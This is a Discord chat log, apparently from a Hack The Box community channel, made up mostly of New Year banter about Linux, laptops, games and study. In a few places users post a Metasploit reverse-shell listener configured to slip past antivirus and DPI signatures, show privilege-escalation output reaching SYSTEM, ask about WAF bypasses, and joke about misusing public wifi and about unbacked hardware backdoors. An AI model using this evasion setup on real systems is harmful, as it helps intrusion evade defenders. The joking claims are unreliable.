general

[supple plume]

Yeah SSTI is fun

[hybrid temple]

im doing the challenges section on HTB and one of them was for server side template injection. i dont usually do the challenges section so i thought id give it a go. and im glad i did. because that exploit made me belly laugh

[carmine pecan]

Always use condoms!

oh wait you said SSTI...

nvm then

read wrong

[meager kernel]

lmao

[hybrid temple]

[scenic maple]

https://tenor.com/view/disgust-disgusting-puke-vomit-eww-gif-19262390

[proper fractal]

cut -d can be evil 😈

[meager kernel]

completed another module today

i should update my notes too

[proper fractal]

im doing one rn

[visual hollow]

I’m being lazy

[full fable]

Hi peopleee

One question for you! Are necessary some particular roles to react to any message in this server?

[supple plume]

Lets play chess

[full fable]

Because outside of here I can react everything, but here I can't

Am I missing something?

[upbeat tangle]

i think its connected to noob rank

[supple plume]

@visual hollow play chess with me

[full fable]

Oh okay, so I need to grow up my rank first

[visual hollow]

Later, I’m going shop

[exotic pendant]

😄

[mystic harbor]

[supple plume]

updating lots of packages in arch

expecting it to crash and die to start the year

[scenic maple]

why are all engineers like this

[turbid steeple]

im gonna dual boot arch

cuz why not

[supple plume]

Im back all good

why dual boot if you can just boot

[scenic maple]

dual boot will most likely cause issues

[supple plume]

yeah

[scenic maple]

dont recommend

[supple plume]

ask to kratos

he didn't want any of my advice and went straight to dualboot

lost data in the process after ignoring other advice

don't be kratos

[scenic maple]

echo have u ever used cascade layers in css

this

[supple plume]

yeah I was looking at it

[scenic maple]

hmm

it might solve a lot of problems

[supple plume]

I tried once but didn't have enough time to explore the concept

[supple plume]

did you use this?

[turbid steeple]

i thrive on issues

[scenic maple]

looking forward to

[turbid steeple]

[scenic maple]

havent used yet

[scenic maple]

average pentester be like

[supple plume]

if you do feel free to let me know how it helps you in dm or here

[scenic maple]

well technically we both used it in tailwind

[supple plume]

there are issues that are just made of pain, but you must experience them in order to know why we recommend not to use dualboot

[full fable]

Issues for breakfast, lunch and dinner

[turbid steeple]

i hate vms tho

[supple plume]

me too

just get arch bare metal

[spark mulch]

qemu with virtman

[turbid steeple]

that brings some problems with it tho

[supple plume]

these are good problems

[spark mulch]

i can't imagine willingly using windows as a daily driver in 2026

[turbid steeple]

why not

its easy to use

thats why most people use it

[spark mulch]

no, it's the other way around

it's "easy" to use because it's all you're used to

because microsoft had ful market capture in the 90s and monopolised the personal computing space

so it's what everyone got used to

which is why it feels "easy" to use, but actually it's horrible

[turbid steeple]

how so

[spark mulch]

you'll have to get used to some other operating systems to see why

I'm not going to reason you into it

[subtle plover]

Happy nee

[turbid steeple]

ive used multiple linux distros but i honestly think windows is more straightforward

[subtle plover]

https://tenor.com/view/dancing-triangle-yellow-triangle-ethereum-blockchain-dancing-gif-8145309328216038010

[turbid steeple]

successful ragebait

[scenic maple]

https://tenor.com/view/rage-bait-ragebait-rage-bait-sucessful-sucessful-mission-succesful-gif-7031369129767029998

[turbid steeple]

https://tenor.com/view/silly-gif-3397568161154480277

[scenic maple]

https://tenor.com/view/yes-yes-cat-gif-555799605331270828

[turbid steeple]

liftoff!

[fiery copper]

Yooo bing bang

[feral jackal]

when the new session will start?

[fiery copper]

My modifications are as follows: crash crash internal error 200

[turbid steeple]

💀

[upbeat tangle]

beep boop

[undone fossil]

boop beep

[upbeat tangle]

what you up to today froj

[undone fossil]

Travelling today

But shall be writing more elixir in my free time

yourself?

[upbeat tangle]

What is elixir?

[undone fossil]

https://elixir-lang.org/

[upbeat tangle]

I am studying retired boxes in the lab

[undone fossil]

Hell yea

Any specific goal? Just wanting to get more general practice?

[upbeat tangle]

Yes right now i think its just for practise, to move around commands and feel natural

[undone fossil]

Sounds good man, best of luck

[upbeat tangle]

And also its learning details about systems

like yesterday i had some problems trying to do an XML/XSLT injection and make an uploaded file call back to my pwnbox xD

hours

and eventually got it right

thankfully these days i got AI to reflect ideas with

[undone fossil]

Nice! It’s one of those things where once you’ve done it once, it’ll be far quicker in the future so :)

Good work

[upbeat tangle]

@undone fossil Are you going to develop an app or something with this elixir?

[proper fractal]

<html>
<title>My Masterpiece</title>
<body>
<p>I made an app. It might be good. It might be evil. Who knows?</p>
<p>Probably works on Tuesdays. Maybe.</p>
<p>If it breaks your computer, it’s technically a feature.</p>
</body>
</html>

reee

[supple plume]

where is the <head>???

your masterpiece is headless

[proper fractal]

yes

off with it's head

pyautogui can open powershell with flask shhh

[warped plank]

no <!DOCTYPEhtml>? fake front-end dev

[proper fractal]

u right
https://www.youtube.com/watch?v=AsKUw4TEmUY i did however make a remake of minecraft in under 2k lines of js

oh im almost at 12k subs yay

i shouldn't have deleted so many videos lol

[undone fossil]

Maybe some day, for now just learning the language though

[past wigeon]

Hacky new years everyone

Please tell me nobody made that joke yet. I literally just came up with it by the way. So clever

💅🏾

[proper fractal]

wait it's a new year ? already

jk wake up

[warped plank]

https://tenor.com/view/i-literally-just-made-that-joke-nobody-crickets-not-fair-upset-gif-16512451

[proper fractal]

this is a dream

[upbeat tangle]

Whats the most used languages used by malware builders? java, python or?

[proper fractal]

english

[warped plank]

-# I didn't make the joke I was just sending a gif you reminded me of

[warped plank]

C

[past wigeon]

Like cumulatively? C/cpp

[proper fractal]

Yes C for hooking

[upbeat tangle]

ok cool

[proper fractal]

no one makes uefi malware womp womp

[devout sail]

🪝

[warped plank]

Well... some people do

[upbeat tangle]

i probably wont be getting anywhere near that in the near future, the list is too long already with stuff i wanna look at

[warped plank]

like the US government

[devout sail]

@native plume get hooked pls

[proper fractal]

who are these people i mean what

[past wigeon]

Locked in vs hooked.

First meme of 26

Let's go

[proper fractal]

They scare me they have money to pay for things

[devout sail]

This is my first 2026 meme in gallery

[lofty warren]

meow meow

[warped plank]

Even worse, they take people's money and use it to pay people

[proper fractal]

hiss hiss

[past wigeon]

Sorry I meant first cyber related meme. Cyber security is my entire personality

[devout sail]

Last one of 2025 💀

[proper fractal]

Then they give the taxes to criminals to buy food what is this satanic idiology

[devout sail]

You got the golden cup
Must be true

[karmic whale]

Hello all and happy new year to everyone!! I'm planning on starting into cyber this year and I 'm looking for a laptop as I don't want to use my main pc for cyber practicing and so.
I was wandering if there's anyone here who could recommend me or advise me on what to search for and check before getting a new laptop.
Thank you in advance!!

[proper fractal]

Guys the problem is the media religion and politics and opinions there i said it just being honest

[devout sail]

That question is really hard to answer without knowing your budget

You pick a budget and then decide the specs and then find appropriate shit

[past wigeon]

Spend the money here on cubes and course subscriptions. Use a VM htb shows you how to setup in the course

Better investment

[devout sail]

Nop

[proper fractal]

Can we get liberty reserve back for like a half hour government i still got my acc info plz rofl

[karmic whale]

As it will be my starter laptop, maybe around 600 €?

[proper fractal]

They can't pirate the cubes

[past wigeon]

You talking about the friggin TV ads they used to play to sell you .1g of gold plated buffalo dollar for $50?

[proper fractal]

na the currancy that was seized lol when u had to use alert pay to transfer paypal bc paypal didn't let u use debit cards type beat

[upbeat tangle]

i bought one around that prize that has a basic graphics card thats not integrated, so it can be actually used to do more stuff than just browsing the web

[lofty warren]

[past wigeon]

Oh I skipped that season. I started with the eBay/PayPal MasterCard and stopped watching after that but picked back up around the venmo arc

[upbeat tangle]

all the cheapest laptops are pure garbonzobeans anyways, they are all macbooks and chromebooks

[proper fractal]

https://www.bbc.co.uk/news/technology-22680297 this one

[warped plank]

take that money, spend it on learning materials OR upgrading your existing compter, you already have a computer, just spin up a VM and start labbing. I don't really think it's worth buying a separate workstation for it. It's not like you'll be hacking on-the-go anyway.

[undone fossil]

For the actual payload? C/++

[proper fractal]

I hear cops like mac and chromebooks

[devout sail]

I recently got a laptop with similar budget , it's Lenovo thinkbook 7
Im pretty satisfied with it, just need to upgrade the hard disk later (probably 100€ or more)

[undone fossil]

Higher level languages are common also but C/++ definitely takes the majority

[upbeat tangle]

probably because they come included with spyware?

[warped plank]

imagine using cpython to write malware that generates and compiles agents in C

[proper fractal]

wait u mean that mac has a built in ssh backdoor unless you disable guest and remote login at the firmware lvl noooo they would never

I mean what

[upbeat tangle]

ofc the would never

[proper fractal]

neither would intel nor nvidia

[undone fossil]

Wait you mean I can spout unbacked claims

[proper fractal]

lardy dar

[undone fossil]

I mean what

[proper fractal]

yep what

lmao

[warped plank]

Isn't that just any machine? If I have complete physical access I ain't booting it, I'm yanking the drives

[devout sail]

Mac users would know

[proper fractal]

oh no i forgot to do
sudo defaults write /Library/Preferences/com.apple.loginwindow DisableFDEAutoLogin -bool YES

oh wait im on a windows pc

im trippin

[devout sail]

Stop tripping more hacking

[upbeat tangle]

@proper fractal i dont know what apple or google does with their products, its just a joke. i dont like them

personal preference

[devout sail]

Wild

[warped plank]

literally just grab the drives if they ain't encrypted I don't even have to mess with the OS

[proper fractal]

I like gmail they can track that crap all they want even the photos and the simcard idc just let me see the websocket traffic google thanks

[devout sail]

It kept mentioning my items in arriving on Gmail, even tho i received item and dismissed the notification

[upbeat tangle]

yeah i use gmail too for a lot of stuff in daily life, on my personal computer i use protonmail instead

[proper fractal]

I don't even use a vpn if they want me they will come uwu

[devout sail]

I saw a kid using paperclip to unscrew and taking drives home

[proper fractal]

What they gonna do see my search history and the dorks i google lol

[devout sail]

Those were decade old half tb hdd

[warped plank]

in high school a friend brought a suitcase to school and stole an entire tower pc

[upbeat tangle]

@proper fractal only need vpn if you wanna sail the seven seas

[devout sail]

That's nice

[proper fractal]

I only use public internet for shady things like a starbucks that im not inside

wifi super extender goes brrr

[zealous charm]

[proper fractal]

i mean what i only do things that jesus would do

[devout sail]

I see alot of tejas made equipment in store (trash) room at office
But i don't think they'll give it away for free (and I don't even have any use for it)
But they are just there doing nothing

[warped plank]

bro's tryna pick something that doesn't get him in trouble... accessing root on a computer that you technically don't own is gonna get you in trouble...

[zealous charm]

Any hacking this year?

[upbeat tangle]

So do all us

[proper fractal]

yes that's 10 years if they want to push it

CFAA is a mf

[warped plank]

did the easiest box on the platform right as I woke up

[devout sail]

Which one

[muted olive]

Microsoft just rejected my bug :(

[scenic maple]

lots of academy nontheless hacking is hacking

[devout sail]

I haven't touched eloquia yet

[warped plank]

https://tenor.com/view/blue-da-ba-dee-eiffel65-gif-14330492

[devout sail]

Blue, isn't it eternal blue?

[proper fractal]

yes only good things 😈

shodan is like if world of warcraft was a browser

[devout sail]

Did u just slapped the exploit from meaterpeeter

[warped plank]

yeah it was, embarassed to say took me a while cos that's not one of the first things I look for, thank god I look at the OS

[scenic maple]

wbu

u should write a blog like hacking wrapped 2025

[exotic pendant]

[proper fractal]

try hacking without using metasploit or netcat good luck

[warped plank]

ez

I use socat anyway

[proper fractal]

telnet

[devout sail]

The name was dead giveaway and i think that machine has lowest blood time in all machines

[upbeat tangle]

telnet isnt that grandmas PC from 1998?

[warped plank]

2 mins for both user & root which is kinda stupid since you get both for just 1 exploit

[proper fractal]

i hear them arpanets still be kickin it

[devout sail]

I remember ippsec said he did some machine within seconds, in some ted talk

[zealous charm]

Nothing new yet this year. Going into 2026 with 8 bugs still in the queue. So that will be a nice start to the year when they are paid (already accepted)

[devout sail]

With tons of OSINT and scripting

[upbeat tangle]

Are you talking about the retire box called BLUE?

[zealous charm]

I can post some stats about where I got the majority of my bounties, what other info would you want to hear?

[undone fossil]

it just depends on whether you've seen the attack path before

[proper fractal]

why is the printer printing help who used pret reeee

[undone fossil]

if you have the tooling to hand and get lucky with a similar setup to what you've seen before, its basically a case of "how quickly can you run the tooling"

[scenic maple]

how u found the initial bug/recon process
its pretty trivial to get from bug to exploit but to find the bug is difficult

[devout sail]

How much time they took
And how much u earned

[proper fractal]

we must take this time and new year to learn about ssl attacks

[devout sail]

super saiyan L

[proper fractal]

LOL

[warped plank]

https://tenor.com/view/we-want-to-know-all-the-secrets-neil-degrasse-tyson-startalk-tell-us-about-it-spill-everything-to-us-gif-22235929

[devout sail]

Last day at work tomorrow then I can start new job and spend some time on HTB peaceful

[upbeat tangle]

@devout sail i actually did this one this morning, it was actually the correct difficulty rating on it. Easy

[proper fractal]

broth is the secret

[undone fossil]

mfw most ssl attacks require access to a host anyways to be made widely useful

[scenic maple]

whats the current job and whats the new job

[proper fractal]

allegedly

[undone fossil]

"allegedly"

[devout sail]

Did u do it with premade exploits which does 1 click root?

[near swift]

Golam

You got married yet ?

[scenic maple]

not in next few years

no

[upbeat tangle]

Yes. i did watch some video how to do it using Empire also but didnt test other methods

[scenic maple]

hbu

[devout sail]

Current is procurement/project related
New is me working in Data Center (job role not decided as it's same company, so hopefully everything i can touch)

[near swift]

Inshallah soon

[devout sail]

Empire?

[undone fossil]

empire c2

[scenic maple]

inshallah

[undone fossil]

older project, but can still do the job i guess

[proper fractal]

openssl s_client -connect example.com:443 -quiet
openssl x509 -req -in client.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out client.crt

[devout sail]

I haven't used any c2
Tried mythical in prolabs but uhh didn't like it

[near swift]

I got some goals for this year wife is one of them

[undone fossil]

i mean metasploit is a c2 so

[near swift]

[undone fossil]

checkmate athiest

[upbeat tangle]

haha

[devout sail]

So i did use c2 😁

[scenic maple]

u already got a house

its all good

[zealous charm]

Here's a breakdown by percentage, not much synack work this year

[upbeat tangle]

apparently so!

[supple plume]

my mouse doesn't work, time to learn vim

[undone fossil]

mythic is a great project but so so overkill for a lab

[proper fractal]

remember if you borrow a house without permission the cops are gonna show up when the owner gets home

[warped plank]

It's really good but gotta learn Ruby to truly take advantage

[scenic maple]

2026

[devout sail]

I started without understanding what exactly a c2 is and no context
So i didn't like it.
Would enjoy when I get to use it properly ig

[zealous charm]

damn im in the future

[undone fossil]

If you want to modify it yeah, but even ootb it has a ton of features that folk dont use

[proper fractal]

guys just drink more liquor ur hangover will go away then chase it with water trust me

[devout sail]

Can I borrow your car?

Gotta take a quick look into future

[proper fractal]

the pistions blew drifting sorry 🙁

[devout sail]

I'll use the steam locomotive 🚂

[warped plank]

I mean if you gonna use it on HTB then highly likely you need a custom exploit

[devout sail]

https://tenor.com/view/delorean-time-travel-back-to-the-future-marty-mc-fly-gif-11295533

[proper fractal]

sudo apt update engine && sudo apt update transmission -y; nope didn't work

[devout sail]

Update repo

[warped plank]

Cos it's upgrade 🤣

[undone fossil]

I'm talking more about the payloads, listener configuration & post exploitation stuff

[proper fractal]

didn't the guy who made the DeLorean get arrested for doing a drug deal with the cartel or something

[warped plank]

update just grabs data from le repos

[warped plank]

Yeah the evasion features used to be good enough

[undone fossil]

e.g. something like this is very useful

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_winhttps 
set LHOST tun0
set LPORT 443 
set HandlerSSLCert ./msf.pem 
set StagerVerifySSLCert true
set AutoUnhookProcess true
run

[proper fractal]

guys it's 2026 and you haven't watched hackers yet smh

[devout sail]

Took you 2 tries💀

[undone fossil]

custom cert & unhook combined will have you around AV most of the time, so you're pretty much good enough for labs ootb

with v quick setup time which is nice

[devout sail]

Never used the last 3.options 💀

[proper fractal]

yeah i always mess up the first one heh

[undone fossil]

the first 2 of those are supah useful for getting around simple DPI sigs (also the default self-signed https cert is signatured, so you avoid that too)

[proper fractal]

I just want to say good job for not being in jail that's all good day lad

[devout sail]

Someone should make an annoying machine, anything remotely sus get AVed

[undone fossil]

I've been tempted to make one with my own "EDR" on it

[proper fractal]

avast

threat has been detected

[undone fossil]

signaturing stuff like impacket example scripts and whatnot

[devout sail]

But the contract makes HTB own all of the stuff there
So your EDR will be owned by them??

[undone fossil]

yeah that's why i wouldnt do it tbh

[proper fractal]

tcphijacking is pretty cool and indirect syscalls

[undone fossil]

its a lot of effort for little gain imo

indirect syscalls are honestly louder than just using the winapi directly sadly

[proper fractal]

now try unhooking the windows api without taking the fan or battery out or hard restting

[devout sail]

Yep even for insane, maybe prolabs can get u some good stuff
Not sure if community can make them or how much u get paid

[undone fossil]

unhooking also noisier

[proper fractal]

that's why most malware loads into kernel32.dll

[undone fossil]

its like unplugging CCTV and expecting someone not to notice

[undone fossil]

far from true

[proper fractal]

it's like telling ur woman she's wrong and not expecting an argument

[devout sail]

So the trick is to unhook the guards who are watching CCTV

[ornate ibex]

Henlo

[devout sail]

I've said it and she said "you are right" that's fucking scary

[undone fossil]

your take is purely subjective

[proper fractal]

oh i know it's like uhhhhhhhhhhhhhhhhhhhhhh it's coming but when

plays jaws theme

[devout sail]

I dunno jaws theme

[proper fractal]

😮

[devout sail]

Yeah I'll play the uhh idk i don't remember any

[proper fractal]

Good choice just don't recall

the best answer is i don't recall

[devout sail]

https://media.discordapp.net/attachments/574613812397867009/1455708701188161712/zero.mp4?ex=6957b020&is=69565ea0&hm=510a5e2f851347513a7a328050fbc0ec11f3f042928c98815945980fd19bf1f1&

[proper fractal]

LMFAO

it goes 0 to 0 real quick drake

ima go order some mcdonalds now

[pseudo swift]

Anyone give me latest dataset link for cybersecurity using my Research paper.

[exotic pendant]

[molten bobcat]

Mornin frost

[exotic pendant]

Sup sup

New years and already feeling crappy

Either allergies or sick

[molten bobcat]

I'm sorry, I hope you feel better

[exotic pendant]

Just need some pizza but I also started dieing harder

So no pizza

[molten bobcat]

Mankind's endless struggle for sure

[exotic pendant]

Plan on starting fall out today

Hopefully it sticks

[molten bobcat]

The game?

[exotic pendant]

Ye new Vegas

[molten bobcat]

Pro tip for the vibes, tune your pip boy radio to the music radio stations

I got spurssss that jingle jangle jingle 🎶

JINGLE JANGLE

https://open.spotify.com/track/45YtTdmH2PNKEnxN3uTZQy?si=x5sXk0EwR1GdmfB872sWCg

It's very fun lining up headshots on people playing fun happy music in the background lmao

https://tenor.com/view/fallout-thumbs-up-lucy-maximus-vault-dweller-gif-5885797820294943708

[exotic pendant]

[molten bobcat]

Also lock it to 60

It's notoriously unstable at anything higher

And sometimes still

[exotic pendant]

https://youtu.be/Bv4jOz-mySA?si=ntCPW_suB7LAmDZq

Been jamming this

And tech noir 2 from gunship

[molten bobcat]

They made a 2??

Bruh

[wanton dock]

happy new year 🎊 🎆 🥳

[exotic pendant]

https://youtu.be/KlUJTtBphb0?si=cBpUPSH2mji4pRH_

[wispy hornet]

Hi happy new year 🎊
I’d like to get better at coding, I know a little bit about css/html but I need a lot more experience where should I start?

[wanton dock]

i don't feel entirely qualified to suggest, but i'll try: codecademy for learning how to write in programming languages, though i've taken cs classes. for networking, would suggest cisco certified network associate (ccna) pipeline or comptia network+

i started programming by developing video games, but that didn't take me very far by itself

hack the box has really helped me with respect to cyber

the academy is very good

[lofty warren]

[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00000c02-090c-ffff-7f47-7f426bd63993
[*] DCOM obj OXID: 0xb8f8351cffd6d54f
[*] DCOM obj OID: 0x64cba73310cfa2f5
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 892 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2680

[wanton dock]

nice

[cerulean knoll]

If it's web dev then I recommend the Odin Project

[undone fossil]

I cba to re-answer so here's some screenshots 😅

If you want project ideas lmk

[exotic pendant]

[spark mulch]

and if it's not just webdev but the broader enterprises of computer science, then: https://ossu.thinkific.com/courses/computer-science-v7

[scenic maple]

here is how i see it

com sci stuff is good and absolutely do it understand things and if possible get a degree too

but at the ened of the day you have to deliver impact

so try to learn stuff that will help you make money as well

[spark mulch]

i say: learn stuff that brings you joy in life

[scenic maple]

how would you bring joy if you got no shelter food or cloths

[spark mulch]

and find a balance between the two

[scenic maple]

well yeah you have to like what u do too

[visual hollow]

By making everyone else miserable

[scenic maple]

https://tenor.com/view/cat-kat-kitty-kitten-evil-gif-10545349572153573100

[visual hollow]

[ornate ibex]

https://tenor.com/view/kevin-hart-kevin-hart-damn-gif-22709278

[paper zenith]

@glacial echo hey u still around?

[feral jackal]

what does SUID mean?

google say Sudden Unexpected Infant Death,

[molten bobcat]

Super user ID

[lofty warren]

||sussy user ID||

[ornate ibex]

append "in Computer" in query.

[west venture]

@scenic maple any man who must say, "I am king" is no true king

[scenic maple]

i am no king

[molten bobcat]

https://tenor.com/view/lotr-eowyn-i-am-no-man-gif-5386334

So this month I promised myself I'd study

It is January first

OH BOY PROMISES

Anyway I will gain much power

BEAT YO ASS AND HIDE THE BIBLE IF GOD WATCHIN

[scenic maple]

@supple plume vro ai models have 0 idea abt layers

they just straight up keep lying all day

even after i fed it the source

[supple plume]

Yep they are useless

[full fable]

@scenic maple Could i ask you some question about starting point machine? I'm doing it right now, but there is something that is not ok with the process

[supple plume]

I tried that too

[full fable]

Imo

[scenic maple]

just check the writeup or ask in #starting-point i dont those so long ago i have forgotten

[supple plume]

It's a rtfm thing

[scenic maple]

cold world

[full fable]

Nono but it's not how can i solve or not, i've already solved

[supple plume]

But the point to me was: is it worth to me to learn this for what I am doing? Not at that point so... some day

[full fable]

However ok, i'll asking there

[scenic maple]

i mean i like rtfm but i dont want to read this whole thing man its so biggly big [redacted]

[supple plume]

That's exactly what I thought

[upbeat tangle]

Which one is not right

[scenic maple]

this is part 1 introduction btw

there a lot more

[west venture]

[iron loom]

CPTS or CAPE? I'm just thinking if I could jump on the CAPE as I finished alr the RTO

if anyone can give suggestion or recos, much more appreciated

[bronze vapor]

Hi. Noob here. Where can I find forums on the website to read up on discussions around certain boxes?

[scenic maple]

#boxes

[bronze vapor]

Thank you

[full fable]

I've asked in #starting-point

[molten bobcat]

https://tenor.com/view/get-out-of-my-way-gustave-clair-obscur-expedition-33-gustave-meme-gif-5062854445359742323

[full fable]

Beautiful game imo, what you all think about it?

[molten bobcat]

Clair Obscur is a work of art, I've platinum'd the game on PS5

[proper fractal]

Shell poppin’, reverse connect, payload in your inbox,
You kiddin’? I’m kiddin’… nah, I’m kiddin’ on your blocks.
Tryna root my way through your weak-ass locks,
Hack The Box taught me more than all your talkin’ talks.

[molten bobcat]

https://tenor.com/view/this-is-fine-clair-obscur-expedition-33-gestral-meme-gif-7404804143102906901

[proper fractal]

is that resident evil or am i trippin rn

[molten bobcat]

Clair Obscur: Expedition 33

[proper fractal]

nice

[molten bobcat]

He's talking to a paintbrush

https://tenor.com/view/e33-clair-obscur-expedition-33-gestral-dance-gif-12526769239242083791

[proper fractal]

those graphics look like the one from resident evil 4

same engine im guessing

[molten bobcat]

Not at all

[proper fractal]

interesting

[molten bobcat]

Considering this is a game that came out recently and resident evil 4 is from the PlayStation 2

[supple plume]

I wanted to whine about something here but instead of that I am going to send this emoji:

[molten bobcat]

https://tenor.com/view/carbot-carbot-animations-carbotanimations-expedition-33-expedition-33-goblu-gif-11632816350890667913

[supple plume]

There enjoy cubical shaped bat turds

[molten bobcat]

Wombat

[proper fractal]

xwing

[molten bobcat]

Which is a marsupial

[supple plume]

Not even that man...

[proper fractal]

wait so is twitter an x wing now

[supple plume]

This 2026 is so complicated

[molten bobcat]

This is a wombat

[proper fractal]

i can't call it x sorry elon

[molten bobcat]

They're native to Australia

[supple plume]

Australia of couse

[molten bobcat]

They're just little dudes leave em be!

[proper fractal]

I wish my 1 letter acc wouldn't have gotten suspended 🙁 mean twitter mods

I def deserved it at the time tho

lol

[molten bobcat]

I'm expecting another slow day

[proper fractal]

have you tried time warping?

[molten bobcat]

Meant workflow wise

[proper fractal]

heh

[molten bobcat]

Holidays

[proper fractal]

Heck I'd be happy answering phones at this point freelance dev work sucks

[scenic maple]

what do u do

[supple plume]

Is there any good resource to bypass wafs? Maybe some tool to modify xss and sqli payloads acording to the waf.

[proper fractal]

website security building ect penetration testing graphics design anything i can find

all the work ive done i can't put on paper bc of nda's

[scenic maple]

well this is basic shit but https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c

[supple plume]

Thanks I'll save this for later

[feral jackal]

guys

do mods have like

[proper fractal]

I have an owasp email heh

[feral jackal]

something

automated

to find rules break

there is a mod

he is just offilne

but the moment I write somethin

he is back

am I rooted?

[molten bobcat]

Not how any of that works

[proper fractal]

their acc date create is also sus

but i could be thinking to hard

[scenic maple]

but how do u do all of those as a single person

[proper fractal]

I spend all of my time on the computer

[scenic maple]

usually people do 1 or 2 things right

yeah but you cant be good on so many things to the point that you can make money out of it

[proper fractal]

I have entirely too much time on my hands and i like learning

[scenic maple]

maybe ur just on a diff league

[proper fractal]

I just really like learning about web apps

[scenic maple]

hmmmm

[heady sage]

[proper fractal]

why do people still use mybb it's so broken it's unreal

[molten bobcat]

Late night studying is gonna be an interesting feeling again

[proper fractal]

I'm normally up at night

I prefer it

[molten bobcat]

I work 2nd

[proper fractal]

I prefer the grave yard shifts when i worked at a warehouse as a lead i used to work the 7pm to 7am shift

[heady sage]

Dogs on a trip

This is an old photo

[proper fractal]

lol

that looks like a jetta

[molten bobcat]

I'm calling bullshit

How

[proper fractal]

wut

[molten bobcat]

How does it look like a Jetta this is the interior

[proper fractal]

yeah and the light

[molten bobcat]

?????????

[proper fractal]

i used to have one lol

i had a 09 jetta it looks a lot like that back window and the back windsheild fom the inside

[hardy frigate]

New years resolution: Hack on the beach

Prove me wrong

This is the best resolution

[scenic maple]

https://tenor.com/view/cat-cats-cat-meme-meme-meme-cat-gif-14470917232397934693

[proper fractal]

🤣

[hardy frigate]

With a PINA CAlota

[molten bobcat]

Piña colada

[hardy frigate]

with the tooth pick and an umbrella on it

[proper fractal]

one for each hand?

[hardy frigate]

Bro I am not kidding

We need to make a hacker island

[proper fractal]

If you do what you love you will never work a day in your life 🙂

[hardy frigate]

For all remote job hackers

[proper fractal]

Oh god there would be fire

we would need fire insurance

lol

[proper fractal]

actually it could be a Toyota Corolla

there should be an ai for that

[molten bobcat]

You can't tell from the position of the lights or the interior at all because this looks like every other fuckin sedan from the 90s to the 2000s 😭

[proper fractal]

dis how we osint

heh

I bet someone can figureout where it was taken lol

[molten bobcat]

It's hardly OSINT I just have years of mechanics in my lineage

[terse dirge]

Good morning gang

[proper fractal]

My family builds older show cars our last one was a 53 chevy pickup

[molten bobcat]

Uncle does restorations and collision repair

[proper fractal]

my granddad is an old gearhead he builds clasics he has a 67 Chevelle ss i would love to have that car one day bc of the engine work that's done to it

[proud moth]

2026 just started it already feels like february

[terse dirge]

I'm sober and my mouth is dry af gang. I think I need some water

[proper fractal]

not me i got dr pepper boi

[scenic maple]

any hacking in january?

[heady sage]

I know yo ass ain’t doing hacking

[scenic maple]

[proud moth]

don't know if I can call what I do "hacking" but i'll try

been 5 years i'm still a complete beginner

[proper fractal]

import os
os.system("start cmd.exe /c = echo hello && start write.exe echo just because")

[heady sage]

IT WAS A MISINPUT

[scenic maple]

we all start somewhere

[proper fractal]

I started with a book

[muted olive]

🧢

[terse dirge]

How was everyone's new years celebration?

[scenic maple]

you see this is why the entry level jobs want 5+ years of exp

[muted olive]

good yours?

[proud moth]

im supposed to do pentesting at work i swear to god i don't even know what i'm doing half the time

[proper fractal]

I couldn't tell if it was gunshots or fireworks where i live

[terse dirge]

It was good. First time I got intoxicated felt very interesting to say the least

[muted olive]

https://tenor.com/8FhI.gif

that you?

[proper fractal]

ever been to atlanta on newyears

[proud moth]

yes without the part where the pen works

[scenic maple]

actually this is peak
so if u press the pen harder the ink gets wider

[muted olive]

Lol. Best not get used to it too often 😆

[proper fractal]

but it's a mac

🙁

jk it's an ipad

[muted olive]

did ya wake up this morning with a headache? @terse dirge

[proud moth]

wait what u mean first time

how old are u

[scenic maple]

i think i saw ceald streaming for 12 hours and drinking sojo or whatever thats called

i am pretty sure waking up was messed up

hmm its called soju

and its korean

[terse dirge]

No I stayed hydrated I think

[terse dirge]

21

[scenic maple]

ceald is 21

[proper fractal]

why doesn't debian come with snort didn't it used to

[terse dirge]

I was only streaming for almost 4 hours I think

[proud moth]

that's crazy

[scenic maple]

oh lol

[muted olive]

I thought alcohol gives you a hangover and stuff

[proper fractal]

I don't drink no more

[scenic maple]

i guess there was time in between or it was a diff person when i went to sleep

its so funny when u hijack streams with cs2

[proud moth]

golam are u doing HTB?

[scenic maple]

htb academy yes sometimes

i am pretty sure even after doing the cwes modules i will get stuck in the exam

thats why i havent finished/taken it

there is also no unofficial cwes prep

[terse dirge]

I've had headaches before from having a bit too much to drink like after 2 or 3 standard drinks but last night I had a lot more but stayed hydrated

I get hungry when I drink

[scenic maple]

https://tenor.com/view/lmaooooooooooooolol-cat-drinking-coctel-cat-chill-cat-vibing-caturday-night-gif-26185886

[scenic maple]

@proud moth bro u left me on read?

[terse dirge]

Next time I'll stick to only vodka or only soju

[scenic maple]

wow thats cursed

[cerulean bloom]

awwwwwwwwwwwwwwwwwwwwwww

[scenic maple]

https://tenor.com/view/dog-omw-otw-on-my-way-on-the-way-gif-18399168

[feral jackal]

oohhh...💕

I want to do it with golam

[native plume]

Honestly if you do fine in modules you'll do fine in the exam

[devout sail]

I'm good in sheets

Been working on it from 5y

MS excel my beloved

[scenic maple]

thats the thing i regularly get stuck while doing assesments

[native plume]

I hate anything related to MS Office

[devout sail]

Excel is good

[native plume]

But the good thing about SA is they force you to redo the module so that you can do it comfortably

Sometimes you just have to know the location of an idea

[devout sail]

You shouldn't have said SA 😢

[native plume]

Some stuff are better to memorize by heart

[devout sail]

But i don't wantto get banned

Imm just 🤐

[native plume]

Skill Assessment?

[devout sail]

[pale belfry]

No cursing here please. I am the best hacker in here and everybody who wants my training needs to listen to me.

[devout sail]

My alarm

[native plume]

Do you have it set everyday

[devout sail]

You should be one

[native plume]

RIP the days of alarms

Now we use cronjobs

[devout sail]

I wake up at 9.10 am everyday

And this is my alarm

Every single one of those rings every 10m

And stacks

[native plume]

Seriously I'd turn them off all together
This trick won't work for me lmao

I have mine set at 8 am but I just turn it off once it rings and get some sleep

[devout sail]

I disable a few of them while sleeping
